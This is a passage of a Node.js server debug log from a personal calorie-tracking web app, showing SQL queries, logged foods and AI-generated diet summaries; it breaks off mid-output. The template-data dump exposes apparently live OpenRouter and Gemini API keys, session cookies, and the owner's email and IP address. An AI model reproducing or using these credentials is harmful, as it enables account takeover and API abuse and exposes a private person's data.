2025-12-20T06:14:59.973Z server-connect:app Executing action step restrict
2025-12-20T06:14:59.973Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:14:59.974Z server-connect:output restrict: undefined
2025-12-20T06:14:59.974Z server-connect:app Executing action step processWithGemini
2025-12-20T06:14:59.974Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-20T06:15:01.088Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Apple',
      quantity: '1 small size (approx 150g)',
      calories_consumed: 78,
      total_calories: 78,
      protein: 0.4,
      carbs: 20.7,
      fat: 0.3,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    }
  ],
  total_macros: { protein: 0.4, carbs: 20.7, fat: 0.3, unit: 'g' }
}
2025-12-20T06:15:19.277Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-20T06:15:19.278Z server-connect:app Executing action step identify
2025-12-20T06:15:19.278Z server-connect:app options: { provider: 'security' }
2025-12-20T06:15:19.278Z server-connect:output identity: 1
2025-12-20T06:15:19.278Z server-connect:app Executing action step restrict
2025-12-20T06:15:19.278Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:15:19.279Z server-connect:output restrict: undefined
2025-12-20T06:15:19.279Z server-connect:app Executing action step condition
2025-12-20T06:15:19.279Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-20T06:15:19.279Z server-connect:app Executing action step repeat
2025-12-20T06:15:19.279Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-20T06:15:19.279Z server-connect:app Executing action step insert
2025-12-20T06:15:19.279Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T06:15:19.280Z server-connect:output calories: { affected: 1, identity: 463 }
2025-12-20T06:15:19.280Z server-connect:output repeat: [ {} ]
2025-12-20T06:15:19.280Z server-connect:output condition: undefined
2025-12-20T06:15:19.480Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T06:15:19.480Z server-connect:app Executing action step identify
2025-12-20T06:15:19.480Z server-connect:app options: { provider: 'security' }
2025-12-20T06:15:19.481Z server-connect:output identity: 1
2025-12-20T06:15:19.481Z server-connect:app Executing action step restrict
2025-12-20T06:15:19.481Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T06:15:19.481Z server-connect:output restrict: undefined
2025-12-20T06:15:19.481Z server-connect:router Render template layouts/main
2025-12-20T06:15:19.481Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-20T06:15:19.670Z server-connect:app Executing action step identify
2025-12-20T06:15:19.670Z server-connect:app options: { provider: 'security' }
2025-12-20T06:15:19.670Z server-connect:output identity: 1
2025-12-20T06:15:20.023Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T06:15:20.024Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T06:15:20.025Z server-connect:app Executing action step identify
2025-12-20T06:15:20.025Z server-connect:app options: { provider: 'security' }
2025-12-20T06:15:20.025Z server-connect:output identity: 1
2025-12-20T06:15:20.025Z server-connect:app Executing action step restrict
2025-12-20T06:15:20.025Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:15:20.026Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T06:15:20.027Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T06:15:20.027Z server-connect:app Executing action step identify
2025-12-20T06:15:20.027Z server-connect:app options: { provider: 'security' }
2025-12-20T06:15:20.027Z server-connect:output identity: 1
2025-12-20T06:15:20.027Z server-connect:app Executing action step restrict
2025-12-20T06:15:20.027Z server-connect:app options: { provider: 'security' }
2025-12-20T06:15:20.027Z server-connect:output restrict: undefined
2025-12-20T06:15:20.027Z server-connect:app Executing action step single
2025-12-20T06:15:20.027Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T06:15:20.028Z server-connect:output restrict: undefined
2025-12-20T06:15:20.028Z server-connect:app Executing action step select
2025-12-20T06:15:20.028Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T06:15:20.029Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "The day's intake appears to be quite limited, with a focus on protein from paneer and whey. While protein is present, the overall food variety and volume seem insufficient for optimal recovery and muscle development, especially given the consistent gym routine. The recent weight trend shows a gradual decrease, suggesting the current approach is leading to some fat loss.",
    bad_points: [
      'Very limited food variety, lacking essential micronutrients and fiber.',
      'Overall food volume seems low, potentially impacting energy levels and muscle building.',
      'Absence of complex carbohydrates and vegetables for sustained energy and recovery.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout supports muscle recovery.',
      'Paneer provides a good source of protein and fats.'
    ],
    suggestions: [
      'Incorporate a balanced meal with complex carbohydrates (like rice or roti) and a generous portion of vegetables.',
      'Add more protein sources throughout the day to support muscle development.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding fruits for vitamins and fiber.'
    ],
    predicted_weight: 69.7,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T06:15:20.029Z server-connect:app Executing action step identify
2025-12-20T06:15:20.030Z server-connect:app options: { provider: 'security' }
2025-12-20T06:15:20.030Z server-connect:output identity: 1
2025-12-20T06:15:20.030Z server-connect:app Executing action step restrict
2025-12-20T06:15:20.030Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:15:20.030Z server-connect:app Executing action step identify
2025-12-20T06:15:20.030Z server-connect:app options: { provider: 'security' }
2025-12-20T06:15:20.030Z server-connect:output identity: 1
2025-12-20T06:15:20.030Z server-connect:app Executing action step restrict
2025-12-20T06:15:20.030Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:15:20.031Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T06:15:20.033Z server-connect:output restrict: undefined
2025-12-20T06:15:20.033Z server-connect:app Executing action step single
2025-12-20T06:15:20.033Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T06:15:20.033Z server-connect:output restrict: undefined
2025-12-20T06:15:20.033Z server-connect:app Executing action step single
2025-12-20T06:15:20.033Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T06:15:20.034Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T06:15:20.035Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T06:15:20.035Z server-connect:app Executing action step select
2025-12-20T06:15:20.035Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T06:15:20.036Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  },
  {
    id: 462,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Plant-based protein (pea, rice, soy - can be lower calorie depending on brand)',
    created_at: '2025-12-20T00:11:33.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 463,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Apple',
    calories: 78,
    protein_gm: 0,
    carbs_gm: 21,
    fat_gm: 0,
    quantity: '1 small size (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Cucumber,Celery',
    created_at: '2025-12-20T00:45:19.000Z',
    skip_level: 1,
    skip_reason: ''
  }
]
2025-12-20T06:15:20.036Z server-connect:app Executing action step setvalue
2025-12-20T06:15:20.036Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T06:15:20.036Z server-connect:output var_total: 550
2025-12-20T06:15:20.036Z server-connect:app Executing action step setvalue
2025-12-20T06:15:20.036Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T06:15:20.036Z server-connect:output var_consumed: 23
2025-12-20T06:15:20.036Z server-connect:app Executing action step setvalue
2025-12-20T06:15:20.036Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T06:15:20.036Z server-connect:output var_deficit: 1850
2025-12-20T06:15:20.036Z server-connect:app Executing action step custom
2025-12-20T06:15:20.036Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T06:15:20.037Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
